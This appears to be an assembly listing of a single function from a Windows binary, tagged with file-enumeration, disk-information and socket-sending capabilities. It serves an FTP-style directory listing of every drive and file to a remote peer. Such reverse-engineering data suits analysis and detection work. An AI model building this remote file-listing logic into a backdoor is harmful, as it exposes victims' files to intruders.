Function at 0x1000b8f8
Capabilities:
Enumerate files on windows
Get disk information
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
push str.drwxrwxrwx___1_ftp______ftp____________0_Jan_01__1980_C:_r_n
lea eax, [ebp - 0x64]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x64]
add eax, 0x36
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp + 0x14]
mov ax, word [ecx]
cmp ax, 0x2f
jne 0x1000b989
call sub.kernel32.dll_GetLogicalDrives
mov ebx, eax
mov cl, 0x41
jmp 0x1000b972
mov eax, ebx
and eax, 1
or eax, eax
je 0x1000b96e
push ebx
push ecx
mov eax, dword [ebp - 0x68]
mov byte [eax], cl
lea ecx, [ebp - 0x64]
cmp dword [ebp + 0x18], 0
jne 0x1000b94f
mov eax, 0x3a
jmp 0x1000b957
mov eax, 4
add ecx, 0x36
push 0
push eax
push ecx
push dword [ebp + 0xc]
call sub.ws2_32.dll_send
pop ecx
pop ebx
cmp eax, 0xffffffff
jne 0x1000b96e
leave
ret 0x14
inc cl
shr ebx, 1
cmp cl, 0x5b
jne 0x1000b92f
push str.226_Transfer_ok
push dword [ebp + 8]
call fcn.1000c98f
jmp 0x1000bbe3
inc dword [ebp + 0x14]
push 0x401
call fcn.1000b378
mov dword [ebp - 0x1ac], eax
push dword [ebp + 0x14]
push eax
call sub.kernel32.dll_lstrcpyA
push 0x800
call fcn.1000b378
mov dword [ebp - 0x1b0], eax
push dword [ebp - 0x1ac]
call sub.kernel32.dll_lstrlenA
add eax, dword [ebp - 0x1ac]
mov word [eax], 0x2a
lea eax, [ebp - 0x1c4]
push eax
call sub.kernel32.dll_GetLocalTime
mov ax, word [ebp - 0x1c4]
mov word [ebp - 0x1c6], ax
lea eax, [ebp - 0x1a6]
push eax
push dword [ebp - 0x1ac]
call sub.kernel32.dll_FindFirstFileA
cmp eax, 0xffffffff
je 0x1000bbc0
mov dword [ebp - 0x1b4], eax
jmp 0x1000ba22
lea eax, [ebp - 0x1a6]
push eax
push dword [ebp - 0x1b4]
call sub.kernel32.dll_FindNextFileA
test eax, eax
je 0x1000bbb5
push str._rw_rw_rw____1_ftp______ftp___11lu__s__2.2i__s__s_r_n
push dword [ebp - 0x1b0]
call sub.kernel32.dll_lstrcpyA
mov eax, dword [ebp - 0x1a6]
and eax, 0x10
or eax, eax
je 0x1000ba57
mov eax, dword [ebp - 0x1b0]
mov byte [eax], 0x64
mov ecx, 3
add eax, 3
mov byte [eax], 0x78
loop 0x1000ba4d
jmp 0x1000bacc
mov eax, dword [ebp - 0x1a6]
and eax, 1
or eax, eax
je 0x1000ba78
mov ecx, 3
mov eax, dword [ebp - 0x1b0]
dec eax
add eax, 3
mov byte [eax], 0x2d
loop 0x1000ba70
lea eax, [ebp - 0x17a]
push eax
push eax
call sub.kernel32.dll_lstrlenA
pop edx
cmp eax, 3
jbe 0x1000bacc
add edx, eax
sub edx, 4
xor ebx, ebx
mov ecx, str..exe.bat.com.scr.cmd.pif
jmp 0x1000baac
push ebx
push ecx
push edx
push 4
push ecx
push edx
call fcn.1000b32e
pop edx
pop ecx
pop ebx
inc ebx
add ecx, 4
cmp ebx, 6
jae 0x1000bab5
or eax, eax
jne 0x1000ba99
or eax, eax
jne 0x1000bacc
mov ecx, 3
mov eax, dword [ebp - 0x1b0]
add eax, 3
mov byte [eax], 0x78
loop 0x1000bac4
lea eax, [ebp - 0x1d0]
push eax
lea eax, [ebp - 0x192]
push eax
call sub.kernel32.dll_FileTimeToLocalFileTime
lea eax, [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x1d0]
push eax
call sub.kernel32.dll_FileTimeToSystemTime
xor eax, eax
mov ax, word [ebp - 0x1c4]
cmp ax, word [ebp - 0x1c6]
jne 0x1000bb2c
mov ax, word [ebp - 0x1bc]
xor ecx, ecx
mov cx, word [ebp - 0x1ba]
push ecx
push eax
push str._2.2i:_2.2i
lea eax, [ebp - 0x1e9]
push eax
call sub.user32.dll_wsprintfA
add esp, 0x10
jmp 0x1000bb41
push eax
push 0x10011aec
lea eax, [ebp - 0x1e9]
push eax
call sub.user32.dll_wsprintfA
add esp, 0xc
xor eax, eax
mov ax, word [ebp - 0x1c2]
dec eax
shl eax, 2
mov ecx, 0x10011afc
add ecx, eax
xor edx, edx
mov dx, word [ebp - 0x1be]
lea eax, [ebp - 0x17a]
push eax
lea eax, [ebp - 0x1e9]
push eax
push edx
push ecx
push dword [ebp - 0x186]
push dword [ebp - 0x1b0]
push dword [ebp + 0x10]
call sub.user32.dll_wsprintfA
add esp, 0x1c
mov ecx, dword [ebp + 0x10]
cmp dword [ebp + 0x18], 1
jne 0x1000bba4
add ecx, eax
push ecx
lea eax, [ebp - 0x17a]
push eax
call sub.kernel32.dll_lstrlenA
pop ecx
sub ecx, eax
dec ecx
dec ecx
inc eax
inc eax
push 0
push eax
push ecx
push dword [ebp + 0xc]
call sub.ws2_32.dll_send
jmp 0x1000ba08
push dword [ebp - 0x1b4]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x1ac]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 0x1b0]
call sub.kernel32.dll_GlobalFree
push str.226_Transfer_ok
push dword [ebp + 8]
call fcn.1000c98f
leave
ret 0x14